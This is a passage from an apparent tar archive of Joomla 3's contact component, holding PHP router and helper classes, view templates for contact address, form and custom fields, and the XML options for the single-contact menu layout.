 *
 * @param   array  $segments  The segments of the URL to parse.
 *
 * @return  array  The URL attributes to be used by the application.
 *
 * @deprecated  4.0  Use Class based routers instead
 */
function ContactParseRoute($segments)
{
	$app = JFactory::getApplication();
	$router = new ContactRouter($app, $app->getMenu());

	return $router->parse($segments);
}
com_contact/helpers/legacyrouter.php000060400000013462152453734460013734 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Legacy routing rules class from com_contact
 *
 * @since       3.6
 * @deprecated  4.0
 */
class ContactRouterRulesLegacy implements JComponentRouterRulesInterface
{
	/**
	 * Constructor for this legacy router
	 *
	 * @param   JComponentRouterAdvanced  $router  The router this rule belongs to
	 *
	 * @since       3.6
	 * @deprecated  4.0
	 */
	public function __construct($router)
	{
		$this->router = $router;
	}

	/**
	 * Preprocess the route for the com_contact component
	 *
	 * @param   array  &$query  An array of URL arguments
	 *
	 * @return  void
	 *
	 * @since       3.6
	 * @deprecated  4.0
	 */
	public function preprocess(&$query)
	{
	}

	/**
	 * Build the route for the com_contact component
	 *
	 * @param   array  &$query     An array of URL arguments
	 * @param   array  &$segments  The URL arguments to use to assemble the subsequent URL.
	 *
	 * @return  void
	 *
	 * @since       3.6
	 * @deprecated  4.0
	 */
	public function build(&$query, &$segments)
	{
		// Get a menu item based on Itemid or currently active
		$params = JComponentHelper::getParams('com_contact');
		$advanced = $params->get('sef_advanced_link', 0);

		if (empty($query['Itemid']))
		{
			$menuItem = $this->router->menu->getActive();
		}
		else
		{
			$menuItem = $this->router->menu->getItem($query['Itemid']);
		}

		$mView = empty($menuItem->query['view']) ? null : $menuItem->query['view'];
		$mId = empty($menuItem->query['id']) ? null : $menuItem->query['id'];

		if (isset($query['view']))
		{
			$view = $query['view'];

			if (empty($query['Itemid']) || empty($menuItem) || $menuItem->component != 'com_contact')
			{
				$segments[] = $query['view'];
			}

			unset($query['view']);
		}

		// Are we dealing with a contact that is attached to a menu item?
		if (isset($view) && ($mView == $view) && isset($query['id']) && ($mId == (int) $query['id']))
		{
			unset($query['view'], $query['catid'], $query['id']);

			return;
		}

		if (isset($view) && ($view == 'category' || $view == 'contact'))
		{
			if ($mId != (int) $query['id'] || $mView != $view)
			{
				if ($view == 'contact' && isset($query['catid']))
				{
					$catid = $query['catid'];
				}
				elseif (isset($query['id']))
				{
					$catid = $query['id'];
				}

				$menuCatid = $mId;
				$categories = JCategories::getInstance('Contact');
				$category = $categories->get($catid);

				if ($category)
				{
					// TODO Throw error that the category either not exists or is unpublished
					$path = array_reverse($category->getPath());

					$array = array();

					foreach ($path as $id)
					{
						if ((int) $id == (int) $menuCatid)
						{
							break;
						}

						if ($advanced)
						{
							list($tmp, $id) = explode(':', $id, 2);
						}

						$array[] = $id;
					}

					$segments = array_merge($segments, array_reverse($array));
				}

				if ($view == 'contact')
				{
					if ($advanced)
					{
						list($tmp, $id) = explode(':', $query['id'], 2);
					}
					else
					{
						$id = $query['id'];
					}

					$segments[] = $id;
				}
			}

			unset($query['id'], $query['catid']);
		}

		if (isset($query['layout']))
		{
			if (!empty($query['Itemid']) && isset($menuItem->query['layout']))
			{
				if ($query['layout'] == $menuItem->query['layout'])
				{
					unset($query['layout']);
				}
			}
			else
			{
				if ($query['layout'] == 'default')
				{
					unset($query['layout']);
				}
			}
		}

		$total = count($segments);

		for ($i = 0; $i < $total; $i++)
		{
			$segments[$i] = str_replace(':', '-', $segments[$i]);
		}
	}

	/**
	 * Parse the segments of a URL.
	 *
	 * @param   array  &$segments  The segments of the URL to parse.
	 * @param   array  &$vars      The URL attributes to be used by the application.
	 *
	 * @return  void
	 *
	 * @since       3.6
	 * @deprecated  4.0
	 */
	public function parse(&$segments, &$vars)
	{
		$total = count($segments);

		for ($i = 0; $i < $total; $i++)
		{
			$segments[$i] = preg_replace('/-/', ':', $segments[$i], 1);
		}

		// Get the active menu item.
		$item = $this->router->menu->getActive();
		$params = JComponentHelper::getParams('com_contact');
		$advanced = $params->get('sef_advanced_link', 0);

		// Count route segments
		$count = count($segments);

		// Standard routing for newsfeeds.
		if (!isset($item))
		{
			$vars['view'] = $segments[0];
			$vars['id'] = $segments[$count - 1];

			return;
		}

		// From the categories view, we can only jump to a category.
		$id = (isset($item->query['id']) && $item->query['id'] > 1) ? $item->query['id'] : 'root';

		$contactCategory = JCategories::getInstance('Contact')->get($id);

		$categories = $contactCategory ? $contactCategory->getChildren() : array();
		$vars['catid'] = $id;
		$vars['id'] = $id;
		$found = 0;

		foreach ($segments as $segment)
		{
			$segment = $advanced ? str_replace(':', '-', $segment) : $segment;

			foreach ($categories as $category)
			{
				if ($category->slug == $segment || $category->alias == $segment)
				{
					$vars['id'] = $category->id;
					$vars['catid'] = $category->id;
					$vars['view'] = 'category';
					$categories = $category->getChildren();
					$found = 1;
					break;
				}
			}

			if ($found == 0)
			{
				if ($advanced)
				{
					$db = JFactory::getDbo();
					$query = $db->getQuery(true)
						->select($db->quoteName('id'))
						->from('#__contact_details')
						->where($db->quoteName('catid') . ' = ' . (int) $vars['catid'])
						->where($db->quoteName('alias') . ' = ' . $db->quote($segment));
					$db->setQuery($query);
					$nid = $db->loadResult();
				}
				else
				{
					$nid = $segment;
				}

				$vars['id'] = $nid;
				$vars['view'] = 'contact';
			}

			$found = 0;
		}
	}
}
com_contact/helpers/category.php000060400000001252152453734460013036 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Contact Component Category Tree
 *
 * @since  1.6
 */
class ContactCategories extends JCategories
{
	/**
	 * Class constructor
	 *
	 * @param   array  $options  Array of options
	 *
	 * @since   1.6
	 */
	public function __construct($options = array())
	{
		$options['table'] = '#__contact_details';
		$options['extension'] = 'com_contact';
		$options['statefield'] = 'published';
		parent::__construct($options);
	}
}
com_contact/helpers/association.php000060400000003277152453734460013546 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('ContactHelper', JPATH_ADMINISTRATOR . '/components/com_contact/helpers/contact.php');
JLoader::register('ContactHelperRoute', JPATH_SITE . '/components/com_contact/helpers/route.php');
JLoader::register('CategoryHelperAssociation', JPATH_ADMINISTRATOR . '/components/com_categories/helpers/association.php');

/**
 * Contact Component Association Helper
 *
 * @since  3.0
 */
abstract class ContactHelperAssociation extends CategoryHelperAssociation
{
	/**
	 * Method to get the associations for a given item
	 *
	 * @param   integer  $id    Id of the item
	 * @param   string   $view  Name of the view
	 *
	 * @return  array   Array of associations for the item
	 *
	 * @since  3.0
	 */
	public static function getAssociations($id = 0, $view = null)
	{
		$jinput = JFactory::getApplication()->input;
		$view   = $view === null ? $jinput->get('view') : $view;
		$id     = empty($id) ? $jinput->getInt('id') : $id;

		if ($view === 'contact')
		{
			if ($id)
			{
				$associations = JLanguageAssociations::getAssociations('com_contact', '#__contact_details', 'com_contact.item', $id);

				$return = array();

				foreach ($associations as $tag => $item)
				{
					$return[$tag] = ContactHelperRoute::getContactRoute($item->id, (int) $item->catid, $item->language);
				}

				return $return;
			}
		}

		if ($view === 'category' || $view === 'categories')
		{
			return self::getCategoryAssociations($id, 'com_contact');
		}

		return array();

	}
}
com_contact/helpers/route.php000060400000003642152453734460012364 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Contact Component Route Helper
 *
 * @static
 * @package     Joomla.Site
 * @subpackage  com_contact
 * @since       1.5
 */
abstract class ContactHelperRoute
{
	/**
	 * Get the URL route for a contact from a contact ID, contact category ID and language
	 *
	 * @param   integer  $id        The id of the contact
	 * @param   integer  $catid     The id of the contact's category
	 * @param   mixed    $language  The id of the language being used.
	 *
	 * @return  string  The link to the contact
	 *
	 * @since   1.5
	 */
	public static function getContactRoute($id, $catid, $language = 0)
	{
		// Create the link
		$link = 'index.php?option=com_contact&view=contact&id=' . $id;

		if ($catid > 1)
		{
			$link .= '&catid=' . $catid;
		}

		if ($language && $language !== '*' && JLanguageMultilang::isEnabled())
		{
			$link .= '&lang=' . $language;
		}

		return $link;
	}

	/**
	 * Get the URL route for a contact category from a contact category ID and language
	 *
	 * @param   mixed  $catid     The id of the contact's category either an integer id or an instance of JCategoryNode
	 * @param   mixed  $language  The id of the language being used.
	 *
	 * @return  string  The link to the contact
	 *
	 * @since   1.5
	 */
	public static function getCategoryRoute($catid, $language = 0)
	{
		if ($catid instanceof JCategoryNode)
		{
			$id = $catid->id;
		}
		else
		{
			$id       = (int) $catid;
		}

		if ($id < 1)
		{
			$link = '';
		}
		else
		{
			// Create the link
			$link = 'index.php?option=com_contact&view=category&id=' . $id;

			if ($language && $language !== '*' && JLanguageMultilang::isEnabled())
			{
				$link .= '&lang=' . $language;
			}
		}

		return $link;
	}
}
com_contact/views/contact/tmpl/default_user_custom_fields.php000060400000004415152453734460020731 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$params             = $this->item->params;
$presentation_style = $params->get('presentation_style');

$displayGroups      = $params->get('show_user_custom_fields');
$userFieldGroups    = array();
?>

<?php if (!$displayGroups || !$this->contactUser) : ?>
	<?php return; ?>
<?php endif; ?>

<?php foreach ($this->contactUser->jcfields as $field) : ?>
	<?php if (!in_array('-1', $displayGroups) && (!$field->group_id || !in_array($field->group_id, $displayGroups))) : ?>
		<?php continue; ?>
	<?php endif; ?>
	<?php if (!key_exists($field->group_title, $userFieldGroups)) : ?>
		<?php $userFieldGroups[$field->group_title] = array(); ?>
	<?php endif; ?>
	<?php $userFieldGroups[$field->group_title][] = $field; ?>
<?php endforeach; ?>

<?php foreach ($userFieldGroups as $groupTitle => $fields) : ?>
	<?php $id = JApplicationHelper::stringURLSafe($groupTitle); ?>
	<?php if ($presentation_style == 'sliders') : ?>
		<?php echo JHtml::_('bootstrap.addSlide', 'slide-contact', $groupTitle ?: JText::_('COM_CONTACT_USER_FIELDS'), 'display-' . $id); ?>
	<?php elseif ($presentation_style == 'tabs') : ?>
		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'display-' . $id, $groupTitle ?: JText::_('COM_CONTACT_USER_FIELDS')); ?>
	<?php elseif ($presentation_style == 'plain') : ?>
		<?php echo '<h3>' . ($groupTitle ?: JText::_('COM_CONTACT_USER_FIELDS')) . '</h3>'; ?>
	<?php endif; ?>

	<div class="contact-profile" id="user-custom-fields-<?php echo $id; ?>">
		<dl class="dl-horizontal">
		<?php foreach ($fields as $field) : ?>
			<?php if (!$field->value) : ?>
				<?php continue; ?>
			<?php endif; ?>

			<?php if ($field->params->get('showlabel')) : ?>
				<?php echo '<dt>' . JText::_($field->label) . '</dt>'; ?>
			<?php endif; ?>

			<?php echo '<dd>' . $field->value . '</dd>'; ?>
		<?php endforeach; ?>
		</dl>
	</div>

	<?php if ($presentation_style == 'sliders') : ?>
		<?php echo JHtml::_('bootstrap.endSlide'); ?>
	<?php elseif ($presentation_style == 'tabs') : ?>
		<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php endif; ?>
<?php endforeach; ?>
com_contact/views/contact/tmpl/default_address.php000060400000007607152453734460016466 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Marker_class: Class based on the selection of text, none, or icons
 * jicon-text, jicon-none, jicon-icon
 */
?>
<dl class="contact-address dl-horizontal" itemprop="address" itemscope itemtype="https://schema.org/PostalAddress">
	<?php if (($this->params->get('address_check') > 0) &&
		($this->contact->address || $this->contact->suburb  || $this->contact->state || $this->contact->country || $this->contact->postcode)) : ?>
		<dt>
			<span class="<?php echo $this->params->get('marker_class'); ?>">
				<?php echo $this->params->get('marker_address'); ?>
			</span>
		</dt>

		<?php if ($this->contact->address && $this->params->get('show_street_address')) : ?>
			<dd>
				<span class="contact-street" itemprop="streetAddress">
					<?php echo nl2br($this->contact->address); ?>
					<br />
				</span>
			</dd>
		<?php endif; ?>

		<?php if ($this->contact->suburb && $this->params->get('show_suburb')) : ?>
			<dd>
				<span class="contact-suburb" itemprop="addressLocality">
					<?php echo $this->contact->suburb; ?>
					<br />
				</span>
			</dd>
		<?php endif; ?>
		<?php if ($this->contact->state && $this->params->get('show_state')) : ?>
			<dd>
				<span class="contact-state" itemprop="addressRegion">
					<?php echo $this->contact->state; ?>
					<br />
				</span>
			</dd>
		<?php endif; ?>
		<?php if ($this->contact->postcode && $this->params->get('show_postcode')) : ?>
			<dd>
				<span class="contact-postcode" itemprop="postalCode">
					<?php echo $this->contact->postcode; ?>
					<br />
				</span>
			</dd>
		<?php endif; ?>
		<?php if ($this->contact->country && $this->params->get('show_country')) : ?>
		<dd>
			<span class="contact-country" itemprop="addressCountry">
				<?php echo $this->contact->country; ?>
				<br />
			</span>
		</dd>
		<?php endif; ?>
	<?php endif; ?>

<?php if ($this->contact->email_to && $this->params->get('show_email')) : ?>
	<dt>
		<span class="<?php echo $this->params->get('marker_class'); ?>" itemprop="email">
			<?php echo nl2br($this->params->get('marker_email')); ?>
		</span>
	</dt>
	<dd>
		<span class="contact-emailto">
			<?php echo $this->contact->email_to; ?>
		</span>
	</dd>
<?php endif; ?>

<?php if ($this->contact->telephone && $this->params->get('show_telephone')) : ?>
	<dt>
		<span class="<?php echo $this->params->get('marker_class'); ?>">
			<?php echo $this->params->get('marker_telephone'); ?>
		</span>
	</dt>
	<dd>
		<span class="contact-telephone" itemprop="telephone">
			<?php echo $this->contact->telephone; ?>
		</span>
	</dd>
<?php endif; ?>
<?php if ($this->contact->fax && $this->params->get('show_fax')) : ?>
	<dt>
		<span class="<?php echo $this->params->get('marker_class'); ?>">
			<?php echo $this->params->get('marker_fax'); ?>
		</span>
	</dt>
	<dd>
		<span class="contact-fax" itemprop="faxNumber">
		<?php echo $this->contact->fax; ?>
		</span>
	</dd>
<?php endif; ?>
<?php if ($this->contact->mobile && $this->params->get('show_mobile')) : ?>
	<dt>
		<span class="<?php echo $this->params->get('marker_class'); ?>">
			<?php echo $this->params->get('marker_mobile'); ?>
		</span>
	</dt>
	<dd>
		<span class="contact-mobile" itemprop="telephone">
			<?php echo $this->contact->mobile; ?>
		</span>
	</dd>
<?php endif; ?>
<?php if ($this->contact->webpage && $this->params->get('show_webpage')) : ?>
	<dt>
		<span class="<?php echo $this->params->get('marker_class'); ?>">
			<?php echo $this->params->get('marker_webpage'); ?>
		</span>
	</dt>
	<dd>
		<span class="contact-webpage">
			<a href="<?php echo $this->contact->webpage; ?>" target="_blank" rel="noopener noreferrer" itemprop="url">
			<?php echo JStringPunycode::urlToUTF8($this->contact->webpage); ?></a>
		</span>
	</dd>
<?php endif; ?>
</dl>
com_contact/views/contact/tmpl/default_form.php000060400000003176152453734460016001 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.keepalive');
JHtml::_('behavior.formvalidator');

?>
<div class="contact-form">
	<form id="contact-form" action="<?php echo JRoute::_('index.php'); ?>" method="post" class="form-validate form-horizontal well">
		<?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
			<?php if ($fieldset->name === 'captcha' && !$this->captchaEnabled) : ?>
				<?php continue; ?>
			<?php endif; ?>
			<?php $fields = $this->form->getFieldset($fieldset->name); ?>
			<?php if (count($fields)) : ?>
				<fieldset>
					<?php if (isset($fieldset->label) && ($legend = trim(JText::_($fieldset->label))) !== '') : ?>
						<legend><?php echo $legend; ?></legend>
					<?php endif; ?>
					<?php foreach ($fields as $field) : ?>
						<?php echo $field->renderField(); ?>
					<?php endforeach; ?>
				</fieldset>
			<?php endif; ?>
		<?php endforeach; ?>
		<div class="control-group">
			<div class="controls">
				<button class="btn btn-primary validate" type="submit"><?php echo JText::_('COM_CONTACT_CONTACT_SEND'); ?></button>
				<input type="hidden" name="option" value="com_contact" />
				<input type="hidden" name="task" value="contact.submit" />
				<input type="hidden" name="return" value="<?php echo $this->return_page; ?>" />
				<input type="hidden" name="id" value="<?php echo $this->contact->slug; ?>" />
				<?php echo JHtml::_('form.token'); ?>
			</div>
		</div>
	</form>
</div>
com_contact/views/contact/tmpl/default.xml000060400000030000152453734460014751 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_CONTACT_CONTACT_VIEW_DEFAULT_TITLE" option="COM_CONTACT_CONTACT_VIEW_DEFAULT_OPTION">
		<help
			key = "JHELP_MENUS_MENU_ITEM_CONTACT_SINGLE_CONTACT"
		/>
		<message>
			<![CDATA[COM_CONTACT_CONTACT_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request"
			addfieldpath="/administrator/components/com_contact/models/fields"
		>
			<field
				name="id"
				type="modal_contact"
				label="COM_CONTACT_SELECT_CONTACT_LABEL"
				description="COM_CONTACT_SELECT_CONTACT_DESC"
				required="true"
				select="true"
				new="true"
				edit="true"
				clear="true"
			/>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">

		<!-- Basic options. -->
		<fieldset name="params"
			label="COM_CONTACT_BASIC_OPTIONS_FIELDSET_LABEL"
			addfieldpath="/administrator/components/com_fields/models/fields"
		>
			<field
				name="presentation_style"
				type="list"
				label="COM_CONTACT_FIELD_PRESENTATION_LABEL"
				description="COM_CONTACT_FIELD_PRESENTATION_DESC"
				useglobal="true"
				>
				<option value="sliders">COM_CONTACT_FIELD_VALUE_SLIDERS</option>
				<option value="tabs">COM_CONTACT_FIELD_VALUE_TABS</option>
				<option value="plain">COM_CONTACT_FIELD_VALUE_PLAIN</option>
			</field>

			<field
				name="show_contact_category"
				type="list"
				label="COM_CONTACT_FIELD_CONTACT_SHOW_CATEGORY_LABEL"
				description="COM_CONTACT_FIELD_CONTACT_SHOW_CATEGORY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="hide">JHIDE</option>
				<option value="show_no_link">COM_CONTACT_FIELD_VALUE_NO_LINK</option>
				<option value="show_with_link">COM_CONTACT_FIELD_VALUE_WITH_LINK</option>
			</field>

			<field
				name="show_contact_list"
				type="list"
				label="COM_CONTACT_FIELD_CONTACT_SHOW_LIST_LABEL"
				description="COM_CONTACT_FIELD_CONTACT_SHOW_LIST_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_name"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_NAME_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_NAME_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_tags"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_TAGS_LABEL"
				description="COM_CONTACT_FIELD_SHOW_TAGS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_info"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_INFO_LABEL"
				description="COM_CONTACT_FIELD_SHOW_INFO_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_position"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_email"
				type="list"
				label="JGLOBAL_EMAIL"
				description="COM_CONTACT_FIELD_PARAMS_CONTACT_E_MAIL_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="add_mailto_link"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_ADD_MAILTO_LINK_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_ADD_MAILTO_LINK_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="show_street_address"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_suburb"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_state"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_postcode"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_country"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_COUNTRY_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_COUNTRY_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_telephone"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_TELEPHONE_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_TELEPHONE_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_mobile"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_MOBILE_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_MOBILE_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_fax"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_FAX_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_FAX_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_webpage"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_WEBPAGE_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_WEBPAGE_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_image"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_IMAGE_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_IMAGE_DESC"
				useglobal="true"
				showon="show_info:1"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="allow_vcard"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_VCARD_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_VCARD_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_misc"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_MISC_INFO_LABEL"
				description="COM_CONTACT_FIELD_PARAMS_MISC_INFO_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_articles"
				type="list"
				label="COM_CONTACT_FIELD_ARTICLES_SHOW_LABEL"
				description="COM_CONTACT_FIELD_ARTICLES_SHOW_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="articles_display_num"
				type="list"
				label="COM_CONTACT_FIELD_ARTICLES_DISPLAY_NUM_LABEL"
				description="COM_CONTACT_FIELD_ARTICLES_DISPLAY_NUM_DESC"
				default=""
				useglobal="true"
				>
				<option value="use_contact">COM_CONTACT_FIELD_VALUE_USE_CONTACT_SETTINGS</option>
				<option value="5">J5</option>
				<option value="10">J10</option>
				<option value="15">J15</option>
				<option value="20">J20</option>
				<option value="25">J25</option>
				<option value="30">J30</option>
				<option value="50">J50</option>
				<option value="75">J75</option>
				<option value="100">J100</option>
				<option value="150">J150</option>
				<option value="200">J200</option>
				<option value="250">J250</option>
				<option value="300">J300</option>
				<option value="0">JALL</option>
			</field>

			<field
				name="show_profile"
				type="list"
				label="COM_CONTACT_FIELD_PROFILE_SHOW_LABEL"
				description="COM_CONTACT_FIELD_PROFILE_SHOW_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_user_custom_fields"
				type="fieldgroups"
				label="COM_CONTACT_FIELD_USER_CUSTOM_FIELDS_SHOW_LABEL"
				description="COM_CONTACT_FIELD_USER_CUSTOM_FIELDS_SHOW_DESC"
				multiple="true"
				context="com_users.user"
				>
				<option value="-1">JALL</option>
			</field>

			<field
				name="show_links"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_LINKS_LABEL"
				description="COM_CONTACT_FIELD_SHOW_LINKS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="linka_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKA_NAME_LABEL"
				description="COM_CONTACT_FIELD_LINK_NAME_DESC"
				size="30"
				useglobal="true"
			/>

			<field
				name="linkb_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKB_NAME_LABEL"
				description="COM_CONTACT_FIELD_LINK_NAME_DESC"
				size="30"
				useglobal="true"
			/>

			<field
				name="linkc_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKC_NAME_LABEL"
				description="COM_CONTACT_FIELD_LINK_NAME_DESC"
				size="30"
				useglobal="true"
			/>

			<field
				name="linkd_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKD_NAME_LABEL"
				description="COM_CONTACT_FIELD_LINK_NAME_DESC"
				size="30"
				useglobal="true"
			/>

			<field
				name="linke_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKE_NAME_LABEL"
				description="COM_CONTACT_FIELD_LINK_NAME_DESC"
				size="30"
				useglobal="true"
			/>
		</fieldset>

		<!-- Form options. -->
		<fieldset name="Contact_Form"
			label="COM_CONTACT_MAIL_FIELDSET_LABEL"
		>

			<field
				name="show_email_form"
				type="list"
				label="COM_CONTACT_FIELD_EMAIL_SHOW_FORM_LABEL"
				description="COM_CONTACT_FIELD_EMAIL_SHOW_FORM_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_email_copy"
				type="list"
				label="COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_LABEL"
				description="COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="validate_session"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="custom_reply"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="redirect"
				type="text"
				label="COM_CONTACT_FIELD_CONFIG_REDIRECT_LABEL"
				description="COM_CONTACT_FIELD_CONFIG_REDIRECT_DESC"
				size="30"
				useglobal="true"
			/>
		</fieldset>
	</fields>
</metadata>
com_contact/views/contact/tmpl/default.php000060400000024573152453734460014762 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
